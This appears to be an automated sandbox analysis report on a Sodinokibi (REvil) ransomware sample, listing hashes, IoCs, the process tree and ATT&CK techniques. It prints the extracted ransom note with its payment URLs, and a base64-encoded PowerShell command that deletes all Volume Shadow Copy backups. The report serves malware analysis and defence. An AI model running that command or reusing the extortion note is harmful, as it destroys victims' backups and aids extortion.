sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
150s
max time network
164s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

8d50eacadd7b377722828227a3d30350
SHA1

cbe1881838871f1fa3672b97cec29955b786aba3
SHA256

353ddd0a20aa154923d91052d8ef6c94a32fe9cb1293cde6b8d05b032a79237d
SHA512

8ae9aa227b92c18d8dbb8882d6ee097537f69e8e5700ca25506ca9d3a1d7559b20b27a53ab6aff0812e20201256f5cea8aa008a82861f27d334df638695d9ef8
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3QrEz7U4kTyN:NJ0BXScFyfC3Hd4ygovU4s

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\is59oo-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension is59oo. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/18627A6E19F45A72 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/18627A6E19F45A72 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: cQrtD+xFVkuWctW7DC1ByT4vlc9yq7eK282EdrdqWLng+WkLDTTs40RIGG40IZyC cR8/4dgAGUEApOo0JhNMTuHogNh0LFi6XfY2DYdUWfYqIRQPMZskZTEu7Ftp4UCd /PL8J6V5tkX4+ofr4mG3c098hGWkJzo6nvBGuRKBiiumR7Ffu9Vpn2hNw6wcBmHF GWQTiQwmnRKzZaHk1b+HNHtn/ms4bMbjGZUeQpeRGG2bY+yzUjUOQi1dR8JpfKfZ 3xCCzyxjXL55trbGsS6ouGVnmZKB+vruzFM4XTBoUW2QQu++sAd1EDxSfnd6DXk2 vc6NGEcMnkwCqXEzZ9sw1w40pDoBYL3SfIDma4EAcsaat9IQqT5EX12uDnemnf0A UoJsT1F4t7893inAzLk6M4L6bE3nHgWmloySV3+gMNmb16HslR9Rm+4jIZ8EoKh2 JckzrDKb651d0V4FfCyvOxo2GmhYeGReEtuVbipjdnpyufRFs473vJfrHBSTFE3S iXS980ufN0x4UtVCxULQFIeEl2UFT6IwMDw/0G7vdi84k+zJhi7ol7feOmVolEQJ OuSqcPmt3S18WJAmS0rANb4Qgs4Zn4efr+jiBD9OXyRK7H1wszkp3/clT6RCZZyl AEtqPZqMKsl+VoB33S+/Lkr69x0KKSV8WtnCBlZDYA0TttEqsf3xIP1yEakO3aaI E/tgP967CefmKzER18IO3er7IztwTFbimAN8g7E47MsUh+XUk5ocTtsZWqMthteC b/A5ZSkfNvPXXuBlDkL8CUf3c1LzIZeeYSWflxgGGnw75mqc5lvkYPOs2hCCH0Ow kx2/yHYKqOhYbbOO2aCOF7y8jPGduTJ8MxgAGr4rThnemqHQgL0z0wAtvPxbv5Os ISjG+U+MwS5jmKbt3qmVbywVYqwcmwYuIa4cHaxsisgHYpYLLLhpwfMwUFFamlW2 Lvyg1Kf2TL9ZBppWgxYOYliZaUJAwb9M5nU3AuOjDkh3MmandeszxtyCyCDDlkPg tMxwc5PoYjqGe8hTf0AOWTWBvxPNZ/fu4vSw+9WREfv4mfOVdAutwvqEkDkThcUS AncBk5lkbL4ZaMs3CaH2lMFh8U8C4Lzvc10KPQX5F/uuO2MIwULpzMR5lAo7EjPI k9QBXvxKwvrhge5FZiQ6EQ1BpfFCRIpfkTm+tO5RQqiZyQIEQ4CHKZOZaAHmtXCd HP7GdUFmZrNFmXaZM/sq8r5YmFZb2QgYoeoFJkF5VivD3kAZut0XAjE2rqUnfSfH FFHVFileC67ldNtGKi0nj3K23Hbu6pwArUW9Y8RyJl9xxpndvkE4EZ3+SafPHVO3 GXCCgskP8OFr339ycuFhd8FLDLbbW3FlXRMX50Ib/4wwnz3luEc= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/18627A6E19F45A72

http://decryptor.cc/18627A6E19F45A72

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Drops file in Program Files directory 20 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\ResizeProtect.wmx	rundll32.exe
File created	\??\c:\program files (x86)\is59oo-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\BackupConnect.jfif	rundll32.exe
File opened for modification	\??\c:\program files\LimitDebug.xltm	rundll32.exe
File opened for modification	\??\c:\program files\RequestSave.mov	rundll32.exe
File opened for modification	\??\c:\program files\SetLimit.txt	rundll32.exe
File opened for modification	\??\c:\program files\SwitchCopy.m4a	rundll32.exe
File opened for modification	\??\c:\program files\WaitInitialize.dxf	rundll32.exe
File opened for modification	\??\c:\program files\AssertSelect.aiff	rundll32.exe
File opened for modification	\??\c:\program files\CompareMeasure.ods	rundll32.exe
File opened for modification	\??\c:\program files\CopyLimit.pot	rundll32.exe
File opened for modification	\??\c:\program files\OpenSend.TS	rundll32.exe
File opened for modification	\??\c:\program files\RemoveSwitch.mid	rundll32.exe
File opened for modification	\??\c:\program files\ResumeInitialize.rm	rundll32.exe
File opened for modification	\??\c:\program files\CompareSet.xlsx	rundll32.exe
File opened for modification	\??\c:\program files\LimitSubmit.dot	rundll32.exe
File opened for modification	\??\c:\program files\NewTrace.nfo	rundll32.exe
File created	\??\c:\program files\is59oo-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\GrantFind.xps	rundll32.exe
File opened for modification	\??\c:\program files\UnlockResume.ttc	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid process

244 rundll32.exe
244 rundll32.exe
3004 powershell.exe
3004 powershell.exe

pid	process
244	rundll32.exe
244	rundll32.exe
3004	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	244	rundll32.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeBackupPrivilege	4976	vssvc.exe
Token: SeRestorePrivilege	4976	vssvc.exe
Token: SeAuditPrivilege	4976	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 4112 wrote to memory of 244	4112	rundll32.exe	rundll32.exe
PID 4112 wrote to memory of 244	4112	rundll32.exe	rundll32.exe
PID 4112 wrote to memory of 244	4112	rundll32.exe	rundll32.exe
PID 244 wrote to memory of 3004	244	rundll32.exe	powershell.exe
PID 244 wrote to memory of 3004	244	rundll32.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4112

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1780

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\is59oo-readme.txt
Filesize
6KB

MD5
c3fd1de284495e2ffaf0e585b895dd3e

SHA1
9c71f771991cd10a24c3f0358fa50f2d7179cc6b

SHA256
982807c975fd26569999a886fbee2b62b1a4458c2ca010abdc72900aff7362e5

SHA512
801fa92e966cb6111a15992bb34ffb54856247c69ebb3ca7d56b3c7a0ca78cd7ebaa0788f44342c302fa6c041fa1f285335420f6d2a8acb99fedb5482608131d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adi1xa3u.uq0.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3004-0-0x000002023A4F0000-0x000002023A512000-memory.dmp

Filesize
136KB

Download
memory/3004-9-0x00007FFF894C0000-0x00007FFF89F82000-memory.dmp

Filesize
10.8MB

Download
memory/3004-10-0x000002023A5D0000-0x000002023A5E0000-memory.dmp

Filesize
64KB

Download
memory/3004-11-0x000002023A5D0000-0x000002023A5E0000-memory.dmp

Filesize
64KB

Download
memory/3004-12-0x000002023A5D0000-0x000002023A5E0000-memory.dmp

Filesize
64KB

Download
memory/3004-15-0x00007FFF894C0000-0x00007FFF89F82000-memory.dmp

Filesize
10.8MB

Download